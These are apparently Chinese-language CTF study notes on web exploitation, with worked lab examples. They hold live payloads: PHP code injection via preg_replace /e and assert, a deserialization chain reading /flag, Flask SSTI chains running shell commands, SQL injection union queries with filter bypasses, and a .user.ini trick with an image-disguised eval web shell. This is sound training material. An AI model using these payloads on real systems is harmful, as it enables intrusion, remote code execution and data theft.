0%

CTF综合笔记

CTF 综合笔记

目录


PHP 函数利用

preg_replace /e 模式

preg_replace/e 模式从 PHP 5.5 开始废弃,PHP 7 直接移除。

1
2
3
4
5
preg_replace(pattern, replacement, subject, limit, count);
// 将 subject 中的 pattern 均替换成 replacement

preg_replace("/World/", "PHP", "Hello World!");
// 输出 "Hello PHP!"

/e 修正符会使 preg_replace() 将替换参数 replacement 当作 PHP 代码执行。在匹配到字符串进行替换时,会先解析替换字符串,然后执行其中的 PHP 代码。

1
2
preg_replace('/bad/e', '"g" . (1 - 1 ). (1 - 1) . "d"', "he is a bad boy");
// he is a g00d boy

例题:攻防世界 ics-05

1
2
3
4
5
6
7
8
9
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
} else {
die();
}

使用 /e 执行替换时会执行 replacement 表达式。

构造:

1
pat=/test/e&rep=phpinfo()&sub=just test

assert 表达式执行

1
bool assert(mixed $assertion, string $description)
  • $assertion:要验证的表达式。
  • $description:可选,断言失败时输出的自定义描述信息,便于定位问题。

例题:攻防世界 mfw

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

由于 assert 会直接执行表达式,且 $file 变量可控,可以考虑提前闭合引号注入。

构造:

1
?page=') or phpinfo()

反序列化

PHP 中常见的序列化 / 反序列化函数:

  • serialize
  • unserialize

反序列化对象如果为已经存在的类,则可能调用魔术方法。

常见魔术方法:

  1. __construct:构造函数,在对应对象实例化时被自动调用。
  2. __wakeup:在对象反序列化时调用。
  3. __sleep:在对象序列化时被调用。

序列化时会先调用 __sleep 再调用 __destruct,完整调用顺序为:

1
__sleep -> 变量存在 -> __destruct

反序列化时,如果有 __wakeup,则会调用 __wakeup 而不是 __construct,逻辑为:

1
__wakeup / __construct -> 变量存在

PHP 相关函数

A instanceof B 运算符:用于判断一个变量是否是某个类、其父类或实现某接口的实例。如果是,返回 true,否则返回 false

is_callable():用于检测一个变量的值在当前作用域中是否可以作为函数或方法调用,常用于回调验证。

call_user_func():允许调用一个回调函数,并向它传递参数。可以调用全局函数、类方法,甚至闭包。

__invoke():用于让对象像函数一样被调用。当以函数调用方式执行一个对象时,PHP 会自动调用该对象的 __invoke() 方法。此特性自 PHP 5.3.0 起可用,并且必须声明为 public

file_get_contents():用于本地文件读取或远程读取。如果目标为可执行文件,可能执行后返回结果。常结合 php://filterdata:// 等伪协议实现文件读取或 base64 编码读取。

例题:ezunser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
error_reporting(0);
highlight_file(__FILE__);

class Cache {
public $key = 'welcome';
public $store;

public function __destruct() {
if ($this->store instanceof Store) {
echo $this->store->get($this->key);
}
}
}

class Store {
public $handler;

public function get($key) {
if (is_callable($this->handler)) {
return call_user_func($this->handler, $key);
}
return '';
}
}

class FileInvoker {
public $file = '';

public function __invoke($key) {
$path = $this->file;
if (!$path) {
return '';
}
return @file_get_contents($path);
}
}

class SafeNote {
public $text = '';

public function __toString() {
return (string) $this->text;
}
}

if (isset($_POST['data'])) {
$data = $_POST['data'];
@unserialize($data);
} else {
echo "\n<!-- POST data=serialized_string -->\n";
}
?>

构造序列化 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Cache {
public $key = 'anything';
public $store;
}

class Store {
public $handler;
}

class FileInvoker {
public $file = '/flag';
}

$cache = new Cache();
$store = new Store();
$fileinvoker = new FileInvoker();

$store->handler = $fileinvoker;
$cache->store = $store;

echo serialize($cache);
?>

运行得到:

1
O:5:"Cache":2:{s:3:"key";s:8:"anything";s:5:"store";O:5:"Store":1:{s:7:"handler";O:11:"FileInvoker":1:{s:4:"file";s:5:"/flag";}}}

SSTI 模板注入

Flask / Django

基本思路:

  1. 找到可以调用的类。
  2. 调用函数读取文件或执行命令。

常用属性:

1
2
3
4
5
.__class__        # 查看类属性
.__base__ # 查看直接父类
.__bases__ # 查看所有父类
.__subclasses__() # 查看所有子类
.__mro__ # 查看类继承顺序

常用访问链:

1
2
3
__init__      # 初始化类,返回的类型是 function
__globals__ # 获取函数所在空间下可用的 module、方法以及所有变量
__builtins__ # 内建名称空间,可访问 eval、open 等内建函数

命令执行和文件读取方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# eval
__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')

# os 模块
__init__.__globals__['os'].popen("ls /").read()

# popen 函数
__init__.__globals__['popen']("ls /").read()

# importlib 类
["load_module"]("os")["popen"]("ls /").read()

# linecache 函数
__init__.__globals__['linecache']['os'].popen('ls /').read()

# subprocess.Popen 类

文件读取:

1
2
3
# FileLoader
# catch_warnings
__init__.__globals__.__builtins__.open('/flag', 'r').read()

Tornado

Tornado 使用 {% ... %} 包裹控制语句,用 {{ ... }} 包裹表达式。

1
2
3
4
5
6
7
8
# handler
{{ handler.get_argument('cmd') }} # 获取名为 cmd 的 GET 或 POST 参数
{{ handler.request.arguments }} # 以字典形式返回所有参数
{{ handler.settings }} # 包含 Tornado 的配置信息

# request 访问当前 HTTP 请求
request.url
request.method

题目记录

ezssti

过滤数字时,可以通过 __len__() 函数获取数字。

攻防世界 shrine

过滤了正反括号时,可尝试使用 url_for


SQL 注入

通过注入可以查到数据库中的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-- --+ 的目的是注释后面代码,+ 在 URL 中表示空白符

-- 爆破列数
-- ORDER BY 1 是按第一列排序,如果正常,说明至少有 1 列
1 order by N;

-- 或使用 union select 联合查询,将 select 查询到的结果一同返回
select 1,2,3,4...
-- 列数要与之前相同,同时可以找到页面回显的位置

-- 假如列数为 4 且回显位置为 2
-- 得到数据库名
union select 1,database(),3,4; --+

-- MySQL 的 information_schema 记录了所有表信息
-- 使用 group_concat() 把多个表名拼成一行
union select 1,group_concat(table_name),3,4
from information_schema.tables
where table_schema=database(); --+

-- 查询表中的列,假设表名为 mytable
union select 1,group_concat(column_name),3,4
from information_schema.columns
where table_name='mytable'; --+

-- 查询列信息 data
union select 1,group_concat(data),3,4 from mytable; --+

常见过滤绕过

被过滤字符 绕过方式 原理
空格 /**/ 在 SQL 中,注释符可作为空白分隔符
空格 %0a, %a0 使用换行符或不换行空格的编码
单引号 0x Hex 将字符串转为十六进制,如 'flag' -> 0x666c6167
关键字 双写 / 大小写 UNunionIONuNiOn,视环境而定

盲注无回显时,可以借助脚本爆破。

例题:攻防世界 fakebook

常规爆破得到:

  • 字段数:4
  • 数据库名:fakebook
  • 表名:users
  • 列名:nousernamepasswddata

读取 data 得到序列化字符串:

1
~O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:14:"http://test.com";}

通过目录扫描找到关键目录:

方法一:使用 load_file("/var/www/html/flag.php") 读取文件。

方法二:通过修改 blog 值达到 SSRF 的作用。

尝试:

1
union select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+

修改后访问,读取到 base64 加密 flag:

1
<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg=='>

文件上传

.user.ini 文件利用

只要 PHP 以 FastCGI 方式运行,就可以尝试使用 .user.ini

.user.ini 文件可以作为 PHP 配置文件,利用配置项构造后门。

  • auto_append_file:指定一个文件,自动包含在要执行的文件后。
  • auto_prepend_file:指定一个文件,自动包含在要执行的文件前。

示例目录:

1
2
3
|-- .user.ini  // 配置文件
|-- shell.jpg // 伪装成图片的后门
|-- index.php // 网站正常文件

.user.ini 内容:

1
auto_prepend_file=shell.jpg

shell.jpg 内容:

1
2
GIF89a
<?=eval($_REQUEST['cmd']);?>

访问网站任意 PHP 文件时,就会自动执行 shell.jpg 中的 PHP 代码。


文件包含

include

include(flag.php) 会执行文件中的 PHP 代码并输出结果。如果遇到无法解析的部分,会直接输出文件原本内容。

因此可以结合 PHP 伪协议读取源码。

php://filter

php://filter 是 PHP 的过滤协议,作用是读取文件内容时,先经过指定过滤器处理,再返回处理后的内容。

核心用法:

1
php://filter/[过滤器]/resource=[目标文件]

常用过滤器:

  1. convert.base64-encode:将文件内容转成 base64 编码。
  2. convert.iconv.输入编码.输出编码:进行编码转换。

常见编码方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8
ASCII

file_get_contents 与 data://

file_get_contents(flag.php) 用于读取指定资源的内容。

data://[数据类型],[数据内容] 的作用是直接将协议后面的文本或编码数据作为虚拟文件内容返回。

核心用法:

1
data://[数据类型],[数据内容]

示例数据类型:

1
text/plain

工具使用

githack

用于利用 Git 泄露。

1
http://target.com/.git
1
python3 githack.py http://target.com/.git/_

githack.py 同一目录下会新建网站泄露文件。

dirsearch

目录扫描工具。

1
2
python dirsearch.py -h
python dirsearch.py -u http://example.com

fenjing

自动化 SSTI 注入工具。

fenjing 文件目录下运行:

1
python -m fenjing.webui

项目结构

Django

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
myproject/                # 项目根目录(项目名称)
├── manage.py # 项目管理脚本
├── myproject/ # 项目配置目录(与项目同名)
│ ├── __init__.py # 标记为 Python 包
│ ├── settings.py # 项目配置文件
│ ├── urls.py # 全局 URL 路由
│ ├── asgi.py # ASGI 入口(异步部署)
│ └── wsgi.py # WSGI 入口(同步部署)
├── myapp/ # 应用目录(通过 startapp 创建)
│ ├── __init__.py # 标记为 Python 包
│ ├── admin.py # 管理后台配置
│ ├── apps.py # 应用配置
│ ├── migrations/ # 数据库迁移文件
│ │ ├── __init__.py
│ │ └── 0001_initial.py
│ ├── models.py # 数据模型定义
│ ├── tests.py # 测试用例
│ ├── views.py # 视图逻辑
│ └── urls.py # 应用内 URL 路由(需手动创建)
├── templates/ # 模板文件夹(需手动创建)
│ └── myapp/
│ └── home.html
├── static/ # 静态文件文件夹(需手动创建)
│ └── myapp/
│ ├── css/
│ └── js/
└── db.sqlite3 # 默认 SQLite 数据库文件

settings.py

作用:项目核心配置文件,定义数据库、应用、静态文件、模板等设置。

重要配置项:

  • INSTALLED_APPS:注册项目使用的应用,包括 Django 内置应用和自定义应用。
  • DATABASES:数据库配置,如 SQLite、PostgreSQL。
  • STATIC_URLSTATIC_ROOT:静态文件路径。
  • TEMPLATES:模板引擎配置。
  • ALLOWED_HOSTS:允许访问的主机,生产环境需要设置。

Django 报错结构:


GBK/GDK 编码宽字节注入

待补充。


Java 原型链污染

待补充。

-------------到底咯QAQ嘎嘎-------------